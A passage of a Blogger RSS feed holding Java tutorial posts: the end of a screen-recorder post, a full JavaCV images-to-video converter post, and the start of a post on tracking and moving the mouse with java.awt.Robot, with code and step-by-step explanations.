                this.c3 = arg0.getX();  
                this.c4 = arg0.getY();  
                try {  
                     draggedScreen();  
                } catch (Exception e) {  
                     e.printStackTrace();  
                }  
           }  
      }  
      public void mouseDragged(MouseEvent arg0) {  
           paint();  
           this.drag_status = 1;  
           this.c3 = arg0.getX();  
           this.c4 = arg0.getY();  
      }  
      public void mouseMoved(MouseEvent arg0) {  
      }  
      public void paint() {  
           Graphics g = frame.getGraphics();  
           frame.repaint();  
           int w = this.c1 - this.c3;  
           int h = this.c2 - this.c4;  
           w *= -1;  
           h *= -1;  
           if (w &amp;lt; 0) {  
                w *= -1;  
           }  
           g.drawRect(this.c1, this.c2, w, h);  
      }  
 }  
&lt;/code&gt;&lt;/pre&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;
&lt;b&gt;ImagePanel.java&lt;/b&gt;&lt;br /&gt;
&lt;pre style=&quot;background: #f0f0f0; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: black; word-wrap: normal;&quot;&gt; package com.cooltrickshome;  
 import java.awt.Dimension;  
 import java.awt.Graphics;  
 import java.awt.Image;  
 import javax.swing.ImageIcon;  
 import javax.swing.JPanel;  
 class ImagePanel  
  extends JPanel  
 {  
  private Image img;  
  public ImagePanel(String img)  
  {  
   this(new ImageIcon(img).getImage());  
  }  
  public ImagePanel(Image img)  
  {  
   this.img = img;  
   Dimension size = new Dimension(img.getWidth(null), img.getHeight(null));  
   setPreferredSize(size);  
   setMinimumSize(size);  
   setMaximumSize(size);  
   setSize(size);  
   setLayout(null);  
  }  
  public void paintComponent(Graphics g)  
  {  
   g.drawImage(this.img, 0, 0, null);  
  }  
 }  
&lt;/code&gt;&lt;/pre&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;
&lt;br /&gt;
&lt;b&gt;Note:&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;&lt;i&gt;I am not sure if there could be a way to reduce the resulting video size. If you have please let me know&lt;/i&gt;&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;&lt;i&gt;Right now I am using an int variable named counter to name the screenshot. For a long recording this will cause an issue since int range will be exhausted. Need to think about an alternative for same.&lt;/i&gt;&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;&lt;i&gt;I have recorded for few minutes but haven&#39;t tested for longer duration.&lt;/i&gt;&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;&lt;i&gt;&lt;br /&gt;&lt;/i&gt;&lt;/b&gt;
&lt;b&gt;&lt;i&gt;If you have any suggestions on this, please feel free to contact me via comments or directly at my email cs.anurag.jain@gmail.com :)&lt;/i&gt;&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;&lt;i&gt;&lt;br /&gt;&lt;/i&gt;&lt;/b&gt;

Hope it helps :)&lt;/div&gt;
</description><link>https://cooltrickshome.blogspot.com/2016/12/create-your-own-free-screen-recorder.html</link><author>noreply@blogger.com (csanuragjain)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi2sGdYr6cBZOgEW8usiI9aRQiEQPrXGpLhIS-1wv9QDXC5pX06Pvr5jJ_awMknujUSFMk__J2MuQQH_ndoPKmDOAYV-VZ62hKh6E7GF1VY1G44lH-J5WpKzhX0NOCBLIZjU0Ckk_bax4Wl/s72-c/Capture.PNG" height="72" width="72"/><thr:total>22</thr:total><georss:featurename>India</georss:featurename><georss:point>20.593684 78.962880000000041</georss:point><georss:box>-8.6044825 37.654286000000042 49.791850499999995 120.27147400000004</georss:box></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-1099539711585569086.post-244723586448807202</guid><pubDate>Sun, 11 Dec 2016 14:36:00 +0000</pubDate><atom:updated>2016-12-11T06:39:21.288-08:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">bytedeco</category><category domain="http://www.blogger.com/atom/ns#">change</category><category domain="http://www.blogger.com/atom/ns#">convert</category><category domain="http://www.blogger.com/atom/ns#">image</category><category domain="http://www.blogger.com/atom/ns#">java</category><category domain="http://www.blogger.com/atom/ns#">javacv</category><category domain="http://www.blogger.com/atom/ns#">movie</category><category domain="http://www.blogger.com/atom/ns#">video</category><title>Images to Movie Converter using Java</title><description>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;span style=&quot;background-color: white; color: #222222; font-family: &amp;quot;arial&amp;quot; , &amp;quot;tahoma&amp;quot; , &amp;quot;helvetica&amp;quot; , &amp;quot;freesans&amp;quot; , sans-serif; font-size: 13.2px;&quot;&gt;This blog post will help you to convert your images to a video using Java.&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #222222; font-family: &amp;quot;arial&amp;quot; , &amp;quot;tahoma&amp;quot; , &amp;quot;helvetica&amp;quot; , &amp;quot;freesans&amp;quot; , sans-serif;&quot;&gt;&lt;span style=&quot;font-size: 13.2px;&quot;&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span style=&quot;color: #222222; font-family: &amp;quot;arial&amp;quot; , &amp;quot;tahoma&amp;quot; , &amp;quot;helvetica&amp;quot; , &amp;quot;freesans&amp;quot; , sans-serif;&quot;&gt;&lt;span style=&quot;font-size: 13.2px;&quot;&gt;&lt;b&gt;Language Used:&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #222222; font-family: &amp;quot;arial&amp;quot; , &amp;quot;tahoma&amp;quot; , &amp;quot;helvetica&amp;quot; , &amp;quot;freesans&amp;quot; , sans-serif;&quot;&gt;&lt;span style=&quot;font-size: 13.2px;&quot;&gt;Java&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #222222; font-family: &amp;quot;arial&amp;quot; , &amp;quot;tahoma&amp;quot; , &amp;quot;helvetica&amp;quot; , &amp;quot;freesans&amp;quot; , sans-serif;&quot;&gt;&lt;span style=&quot;font-size: 13.2px;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span style=&quot;color: #222222; font-family: &amp;quot;arial&amp;quot; , &amp;quot;tahoma&amp;quot; , &amp;quot;helvetica&amp;quot; , &amp;quot;freesans&amp;quot; , sans-serif;&quot;&gt;&lt;span style=&quot;font-size: 13.2px;&quot;&gt;&lt;b&gt;Git Location:&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #222222; font-family: &amp;quot;arial&amp;quot; , &amp;quot;tahoma&amp;quot; , &amp;quot;helvetica&amp;quot; , &amp;quot;freesans&amp;quot; , sans-serif;&quot;&gt;&lt;span style=&quot;font-size: 13.2px;&quot;&gt;&lt;a href=&quot;https://github.com/csanuragjain/converter/tree/master/ImageToMovie&quot;&gt;https://github.com/csanuragjain/converter/tree/master/ImageToMovie&lt;/a&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Reference:&lt;/b&gt;&lt;br /&gt;
&lt;a href=&quot;http://stackoverflow.com/questions/13643046/how-to-convert-images-into-video-in-android-using-javacv&quot;&gt;http://stackoverflow.com/questions/13643046/how-to-convert-images-into-video-in-android-using-javacv&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;http://stackoverflow.com/questions/28721396/convert-images-to-video-in-android&quot;&gt;http://stackoverflow.com/questions/28721396/convert-images-to-video-in-android&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;http://stackoverflow.com/questions/15867696/javacv-opencv-cvloadimage-not-working&quot;&gt;http://stackoverflow.com/questions/15867696/javacv-opencv-cvloadimage-not-working&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;color: #222222; font-family: &amp;quot;arial&amp;quot; , &amp;quot;tahoma&amp;quot; , &amp;quot;helvetica&amp;quot; , &amp;quot;freesans&amp;quot; , sans-serif;&quot;&gt;&lt;span style=&quot;font-size: 13.2px;&quot;&gt;&lt;b&gt;Pom Dependency:&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #222222; font-family: &amp;quot;arial&amp;quot; , &amp;quot;tahoma&amp;quot; , &amp;quot;helvetica&amp;quot; , &amp;quot;freesans&amp;quot; , sans-serif;&quot;&gt;&lt;span style=&quot;font-size: 13.2px;&quot;&gt;Please add the below pom dependency from &lt;a href=&quot;https://mvnrepository.com/artifact/org.bytedeco/javacv&quot;&gt;https://mvnrepository.com/artifact/org.bytedeco/javacv&lt;/a&gt; :&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;pre style=&quot;background: #f0f0f0; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: black; word-wrap: normal;&quot;&gt;  &amp;lt;dependency&amp;gt;   
   &amp;lt;groupId&amp;gt;org.bytedeco&amp;lt;/groupId&amp;gt;   
   &amp;lt;artifactId&amp;gt;javacv&amp;lt;/artifactId&amp;gt;   
   &amp;lt;version&amp;gt;1.0&amp;lt;/version&amp;gt;   
  &amp;lt;/dependency&amp;gt;   
&lt;/code&gt;&lt;/pre&gt;
&lt;br /&gt;
&lt;b&gt;
&lt;span style=&quot;color: #222222; font-family: &amp;quot;arial&amp;quot; , &amp;quot;tahoma&amp;quot; , &amp;quot;helvetica&amp;quot; , &amp;quot;freesans&amp;quot; , sans-serif;&quot;&gt;&lt;span style=&quot;font-size: 13.2px;&quot;&gt;Program:&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;span style=&quot;color: #222222; font-family: &amp;quot;arial&amp;quot; , &amp;quot;tahoma&amp;quot; , &amp;quot;helvetica&amp;quot; , &amp;quot;freesans&amp;quot; , sans-serif;&quot;&gt;&lt;span style=&quot;background-color: white; font-size: 13.2px;&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #222222; font-family: &amp;quot;arial&amp;quot; , &amp;quot;tahoma&amp;quot; , &amp;quot;helvetica&amp;quot; , &amp;quot;freesans&amp;quot; , sans-serif;&quot;&gt;&lt;span style=&quot;font-size: 13.2px;&quot;&gt;&lt;b&gt;&lt;i&gt;Main method:&lt;/i&gt;&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;pre style=&quot;background: #f0f0f0; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: black; word-wrap: normal;&quot;&gt;       public static void main(String []args)  
        {  
                 Scanner s=new Scanner(System.in);  
                 System.out.println(&quot;Enter the directory path of images (for eg c:\\test)&quot;);  
                 String imgPath=s.nextLine();  
                 System.out.println(&quot;Enter the directory with video file name where resulting video will be saved (for eg c:\\test\\abc.mp4)&quot;);  
                 String vidPath=s.nextLine();  
                 ArrayList&amp;lt;String&amp;gt; links = new ArrayList&amp;lt;&amp;gt;();  
                 File f=new File(imgPath);  
                 File[] f2=f.listFiles();  
                 for(File f3:f2)  
                 {  
                      links.add(f3.getAbsolutePath());  
                 }  
                 convertJPGtoMovie(links, vidPath);  
                 System.out.println(&quot;Video has been created at &quot;+vidPath);  
                 s.close();  
        }  
&lt;/code&gt;&lt;/pre&gt;
&lt;span style=&quot;color: #222222; font-family: &amp;quot;arial&amp;quot; , &amp;quot;tahoma&amp;quot; , &amp;quot;helvetica&amp;quot; , &amp;quot;freesans&amp;quot; , sans-serif;&quot;&gt;&lt;span style=&quot;font-size: 13.2px;&quot;&gt;&lt;b&gt;&lt;i&gt;&lt;br /&gt;&lt;/i&gt;&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span style=&quot;color: #222222; font-family: &amp;quot;arial&amp;quot; , &amp;quot;tahoma&amp;quot; , &amp;quot;helvetica&amp;quot; , &amp;quot;freesans&amp;quot; , sans-serif;&quot;&gt;&lt;span style=&quot;font-size: 13.2px;&quot;&gt;&lt;b&gt;&lt;i&gt;How it works:&lt;/i&gt;&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #222222; font-family: &amp;quot;arial&amp;quot; , &amp;quot;tahoma&amp;quot; , &amp;quot;helvetica&amp;quot; , &amp;quot;freesans&amp;quot; , sans-serif;&quot;&gt;&lt;span style=&quot;font-size: 13.2px;&quot;&gt;1) We make a simple scanner object to get user input&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #222222; font-family: &amp;quot;arial&amp;quot; , &amp;quot;tahoma&amp;quot; , &amp;quot;helvetica&amp;quot; , &amp;quot;freesans&amp;quot; , sans-serif;&quot;&gt;&lt;span style=&quot;font-size: 13.2px;&quot;&gt;2) We ask the directory containing the images to be converted to video&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #222222; font-family: &amp;quot;arial&amp;quot; , &amp;quot;tahoma&amp;quot; , &amp;quot;helvetica&amp;quot; , &amp;quot;freesans&amp;quot; , sans-serif;&quot;&gt;&lt;span style=&quot;font-size: 13.2px;&quot;&gt;3) We ask user the resulting directory along with video file name from user.&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #222222; font-family: &amp;quot;arial&amp;quot; , &amp;quot;tahoma&amp;quot; , &amp;quot;helvetica&amp;quot; , &amp;quot;freesans&amp;quot; , sans-serif;&quot;&gt;&lt;span style=&quot;font-size: 13.2px;&quot;&gt;4) We scan the directory obtained from step 2 and save all the image path in a ArrayList.&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
5) Now we call&amp;nbsp;convertJPGtoMovie along with the ArrayList (containing all images path) and the resulting video path&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&lt;i&gt;convertJPGtoMovie method:&lt;/i&gt;&lt;/b&gt;&lt;br /&gt;
&lt;pre style=&quot;background: #f0f0f0; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: black; word-wrap: normal;&quot;&gt;       public static void convertJPGtoMovie(ArrayList&amp;lt;String&amp;gt; links, String vidPath)  
       {  
            OpenCVFrameConverter.ToIplImage grabberConverter = new OpenCVFrameConverter.ToIplImage();  
            FFmpegFrameRecorder recorder = new FFmpegFrameRecorder(vidPath,640,720);  
            try {  
                 recorder.setFrameRate(1);  
        recorder.setVideoCodec(avcodec.AV_CODEC_ID_MPEG4);  
        recorder.setVideoBitrate(9000);  
        recorder.setFormat(&quot;mp4&quot;);  
        recorder.setVideoQuality(0); // maximum quality  
        recorder.start();  
              for (int i=0;i&amp;lt;links.size();i++)  
              {  
               recorder.record(grabberConverter.convert(cvLoadImage(links.get(i))));  
              }  
              recorder.stop();  
             }  
             catch (org.bytedeco.javacv.FrameRecorder.Exception e){  
               e.printStackTrace();  
             }  
       }  
&lt;/code&gt;&lt;/pre&gt;
&lt;b&gt;&lt;i&gt;&lt;br /&gt;&lt;/i&gt;&lt;/b&gt;
&lt;b&gt;&lt;i&gt;How it works:&lt;/i&gt;&lt;/b&gt;&lt;br /&gt;
1) We make an object of&amp;nbsp;ToIplImage named grabberConverter which we are going to use later for converting from IplImage to Frame Object&lt;br /&gt;
2) We make a&amp;nbsp;FFmpegFrameRecorder object named recorder which would help to convert our images to video. It takes 3 argument. First is the video file path which need to be created. Second argument defines the image width and third argument defines the image height.&lt;br /&gt;
3) We define the frame rate of the resulting video. Similarly we need to set other video parameters like video codec, bitrate, format, quality.&lt;br /&gt;
4) After video configuration has been made we start the recording by calling the start method.&lt;br /&gt;
5) Now cvLodImage method takes the image we passed and convert them into IplImage. Now we use&amp;nbsp;grabberConverter from step1 to convert the IplImage into Frame.&lt;br /&gt;
6) We utilise the record method of FFmpegFrameRecorder which takes the Frame from step5 and place it in the resulting video. This way our video has the first image.&lt;br /&gt;
7) Step5 and Step6 are repeated over loop covering all the images which need to be embedded into the video.&lt;br /&gt;
8) After all images are covered, we call the stop button which marks the completion of our video.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Output:&lt;/b&gt;&lt;br /&gt;
&lt;pre style=&quot;background: #f0f0f0; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: black; word-wrap: normal;&quot;&gt; Enter the directory path of images (for eg c:\test)  
 C:\Users\anurag\Desktop\images\extra  
 Enter the directory where resulting video will be saved (for eg c:\test\abc.mp4)  
 C:\Users\anjain\Desktop\images\extra\5.mp4  
 Video has been created at C:\Users\anurag\Desktop\images\extra\5.mp4  
 Output #0, mp4, to &#39;C:\Users\anjain\Desktop\images\extra\5.mp4&#39;:  
   Stream #0:0: Video: mpeg4, yuv420p, 640x720, q=2-31, 9 kb/s, 1 tbn, 1 tbc  
&lt;/code&gt;&lt;/pre&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;
&lt;b&gt;Full Program:&lt;/b&gt;&lt;br /&gt;
&lt;pre style=&quot;background: #f0f0f0; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: black; word-wrap: normal;&quot;&gt; package com.cooltrickshome;  
 import static org.bytedeco.javacpp.opencv_imgcodecs.*;  
 import java.io.File;  
 import java.io.IOException;  
 import java.util.ArrayList;  
 import java.util.Scanner;  
 import org.bytedeco.javacpp.avcodec;  
 import org.bytedeco.javacv.FFmpegFrameRecorder;  
 import org.bytedeco.javacv.OpenCVFrameConverter;  
 public class ImageToMovie {  
      /**  
       * @param args  
       * @throws IOException   
       */  
       public static void main(String []args)  
        {  
                 Scanner s=new Scanner(System.in);  
                 System.out.println(&quot;Enter the directory path of images (for eg c:\\test)&quot;);  
                 String imgPath=s.nextLine();  
                 System.out.println(&quot;Enter the directory with video file name where resulting video will be saved (for eg c:\\test\\abc.mp4)&quot;);  
                 String vidPath=s.nextLine();  
                 ArrayList&amp;lt;String&amp;gt; links = new ArrayList&amp;lt;&amp;gt;();  
                 File f=new File(imgPath);  
                 File[] f2=f.listFiles();  
                 for(File f3:f2)  
                 {  
                      links.add(f3.getAbsolutePath());  
                 }  
                 convertJPGtoMovie(links, vidPath);  
                 System.out.println(&quot;Video has been created at &quot;+vidPath);  
                 s.close();  
        }  
       public static void convertJPGtoMovie(ArrayList&amp;lt;String&amp;gt; links, String vidPath)  
       {  
            OpenCVFrameConverter.ToIplImage grabberConverter = new OpenCVFrameConverter.ToIplImage();  
            FFmpegFrameRecorder recorder = new FFmpegFrameRecorder(vidPath,640,720);  
            try {  
                 recorder.setFrameRate(1);  
        recorder.setVideoCodec(avcodec.AV_CODEC_ID_MPEG4);  
        recorder.setVideoBitrate(9000);  
        recorder.setFormat(&quot;mp4&quot;);  
        recorder.setVideoQuality(0); // maximum quality  
        recorder.start();  
              for (int i=0;i&amp;lt;links.size();i++)  
              {  
               recorder.record(grabberConverter.convert(cvLoadImage(links.get(i))));  
              }  
              recorder.stop();  
             }  
             catch (org.bytedeco.javacv.FrameRecorder.Exception e){  
               e.printStackTrace();  
             }  
       }  
 }  
&lt;/code&gt;&lt;/pre&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;
Hope it helps :)&lt;/div&gt;
</description><link>https://cooltrickshome.blogspot.com/2016/12/images-to-movie-converter-using-java.html</link><author>noreply@blogger.com (csanuragjain)</author><thr:total>12</thr:total><georss:featurename>India</georss:featurename><georss:point>20.593684 78.962880000000041</georss:point><georss:box>-8.6044825 37.654286000000042 49.791850499999995 120.27147400000004</georss:box></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-1099539711585569086.post-7345394680289765441</guid><pubDate>Wed, 07 Dec 2016 13:59:00 +0000</pubDate><atom:updated>2016-12-07T05:59:25.911-08:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">bot</category><category domain="http://www.blogger.com/atom/ns#">click</category><category domain="http://www.blogger.com/atom/ns#">emulate</category><category domain="http://www.blogger.com/atom/ns#">frame</category><category domain="http://www.blogger.com/atom/ns#">java</category><category domain="http://www.blogger.com/atom/ns#">mouse</category><category domain="http://www.blogger.com/atom/ns#">move</category><category domain="http://www.blogger.com/atom/ns#">reposition</category><category domain="http://www.blogger.com/atom/ns#">robot</category><category domain="http://www.blogger.com/atom/ns#">swing</category><category domain="http://www.blogger.com/atom/ns#">virtual</category><title>Global Tracking and Controlling your mouse using Java</title><description>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
This post will help you track your mouse movements. It will also help you to re-position your mouse or make mouse clicks through program..&lt;br /&gt;
This can be used as a base for creating game modules where you would like to control your mouse or restrict your mouse movements&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Features of program:&lt;/b&gt;&lt;br /&gt;
1) Program opens a small frame.&lt;br /&gt;
2) Program makes the mouse click on frame and drag it&lt;br /&gt;
2) On moving mouse inside frame, mouse coordinate will be shown.&lt;br /&gt;
3) This program will also track movement of mouse even it is outside frame window&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Reference:&lt;/b&gt;&lt;br /&gt;
&lt;a href=&quot;http://stackoverflow.com/questions/18321877/tracking-mouse-movement-in-java&quot;&gt;http://stackoverflow.com/questions/18321877/tracking-mouse-movement-in-java&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;http://omtlab.com/java-control-the-mouse-pointer-and-click/&quot;&gt;http://omtlab.com/java-control-the-mouse-pointer-and-click/&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Language Used:&lt;/b&gt;&lt;br /&gt;
Java&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Git Location:&lt;/b&gt;&lt;br /&gt;
&lt;a href=&quot;https://github.com/csanuragjain/extra/tree/master/MouseControllerTracker&quot;&gt;https://github.com/csanuragjain/extra/tree/master/MouseControllerTracker&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Program:&lt;/b&gt;&lt;br /&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;b&gt;&lt;i&gt;Variable declaration:&lt;/i&gt;&lt;/b&gt;&lt;/div&gt;
&lt;pre style=&quot;background: #f0f0f0; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: black; word-wrap: normal;&quot;&gt;      JLabel coordinate=null;  
      final static int frameWidth=500;  
      final static int frameHeight=500;  
      static int frameStartPosX=0;  
      static int frameStartPosY=0;  
      static int frameEndPosX=0;  
      static int frameEndPosY=0;  
      static int mouseRecenterPosX=0;  
      static int mouseRecenterPosY=0;  
&lt;/code&gt;&lt;/pre&gt;
&lt;div&gt;
&lt;b&gt;&lt;i&gt;&lt;br /&gt;&lt;/i&gt;&lt;/b&gt;
&lt;b&gt;&lt;i&gt;How it works:&lt;/i&gt;&lt;/b&gt;&lt;br /&gt;
1) coordinate is the JLabel shown in JFrame&lt;br /&gt;
2) frameWidth is the width of the JFrame and frameHeight is height of JFrame&lt;br /&gt;
3) frameStartPosX and frameStartPosY will show the starting coordinate of JFrame&lt;br /&gt;
4) frameEndPosX and frameEndPosY will show the ending coordinate of JFrame&lt;br /&gt;
5) mouseRecenterPosX and mouseRecenterPosY is an arbitrary position where we will drag the frame.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&lt;i&gt;main method:&lt;/i&gt;&lt;/b&gt;&lt;br /&gt;
&lt;pre style=&quot;background: #f0f0f0; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: black; word-wrap: normal;&quot;&gt;      public static void main(String[] args) {  
           try {  
           Robot r=new Robot();  
           MouseControllerTracker mt=new MouseControllerTracker();  
           JFrame f=mt.showFrame(frameWidth,frameHeight);  
           mt.trackFrame(f);  
           mt.moveFrameUsingMouse(r);  
           while(true)  
           {  
                mt.trackMouse(r);  
           }  
           } catch (AWTException e) {  
                System.out.println(&quot;There was an issue while instantiating Robot class &quot;+e.getMessage());  
           }  
      }  
&lt;/code&gt;&lt;/pre&gt;
&lt;b&gt;&lt;i&gt;&lt;br /&gt;&lt;/i&gt;&lt;/b&gt;
&lt;b&gt;&lt;i&gt;How it works:&lt;/i&gt;&lt;/b&gt;&lt;br /&gt;
1) We make an object of Robot class which will be used by the helper functions&lt;br /&gt;
2) We call the showFrame function which will create a new JFrame with the passed width and height value. It will also return the instance of JFrame created.&lt;br /&gt;
3) We call the trackFrame method which tracks the current frame position and update the global variables.&lt;br /&gt;
4) We call moveFrameUsingMouse which makes mouse to drag the frame and bring it to certain position&lt;br /&gt;
5) We call trackMouse which keeps a track of mouse movement and update in GUI&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&lt;i&gt;showFrame method:&lt;/i&gt;&lt;/b&gt;&lt;br /&gt;
&lt;pre style=&quot;background: #f0f0f0; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: black; word-wrap: normal;&quot;&gt;      public JFrame showFrame(int frameWidth, int frameHeight)  
      {  
           JFrame f=new JFrame();  
           coordinate=new JLabel();  
           f.add(coordinate);  
           f.setSize(frameWidth, frameHeight);  
           f.setLayout(new FlowLayout(0));  
           f.setVisible(true);  
           f.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);  
           return f;  
      }  
&lt;/code&gt;&lt;/pre&gt;
&lt;br /&gt;
&lt;b&gt;&lt;i&gt;How it works:&lt;/i&gt;&lt;/b&gt;&lt;br /&gt;
1) We create a Jframe object and add the JLabel.&lt;br /&gt;
2) The size of frame is set from the argument values&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&lt;i&gt;trackFrame method:&lt;/i&gt;&lt;/b&gt;&lt;br /&gt;
&lt;pre style=&quot;background: #f0f0f0; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: black; word-wrap: normal;&quot;&gt;      public void trackFrame(JFrame f)  
      {  
           Point p=f.getLocationOnScreen();  
           frameStartPosX=p.x;  
           frameStartPosY=p.y;  
           frameEndPosX=frameStartPosX+frameWidth;  
           frameEndPosY=frameStartPosY+frameHeight;  
           mouseRecenterPosX=(frameStartPosX+frameEndPosX)/2;  
           mouseRecenterPosY=(frameStartPosY+frameEndPosY)/2;  
      }  
&lt;/code&gt;&lt;/pre&gt;
&lt;b&gt;&lt;i&gt;&lt;br /&gt;&lt;/i&gt;&lt;/b&gt;
&lt;b&gt;&lt;i&gt;How it works:&lt;/i&gt;&lt;/b&gt;&lt;br /&gt;
1) getLocationOnScreen is used to determine the current start frame coordinates&lt;br /&gt;
2) We copy the coordinate in frameStartPosX &amp;amp; frameStartPosY&lt;br /&gt;
3) Since we have already defined the frameWidth and frameHeight, so we use the same to get the frame end position and update frameEndPosX and frameEndPosY&lt;br /&gt;
4) We update mouseRecenterPosX and mouseRecenterPosY to be at center position.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&lt;i&gt;moveFrameUsingMouse method:&lt;/i&gt;&lt;/b&gt;&lt;br /&gt;
&lt;pre style=&quot;background: #f0f0f0; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: black; word-wrap: normal;&quot;&gt;      public void moveFrameUsingMouse(Robot robot)  
      {  
           robot.mouseMove(mouseRecenterPosX, frameStartPosY+10);  
           robot.mousePress(InputEvent.BUTTON1_MASK);  
           for(int i=0;i&amp;lt;200;i++){  
                robot.mouseMove(mouseRecenterPosX+i, mouseRecenterPosY+i);  
                robot.delay(10);  
           }  
           robot.mouseRelease(InputEvent.BUTTON1_MASK);  
      }  
&lt;/code&gt;&lt;/pre&gt;
&lt;b&gt;&lt;i&gt;&lt;br /&gt;&lt;/i&gt;&lt;/b&gt;
&lt;b&gt;&lt;i&gt;How it works:&lt;/i&gt;&lt;/b&gt;&lt;br /&gt;
1) mouseMove method is used to move the mouse. It takes x and y coordinate as the argument. So firstly we move mouse over frame title bar&lt;br /&gt;
2) mousePress is used to make a mouseClick. Here mouse Button1 would be click on frame&lt;br /&gt;
3) Now in a loop we make the mouse move to different coordinate so that it makes a feeling of mouse dragging the frame. We introduced a delay so that drag is visible and not happen instantly&lt;br /&gt;
4) Finally after drag is done we release the mouse.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&lt;i&gt;trackMouse method:&lt;/i&gt;&lt;/b&gt;&lt;br /&gt;
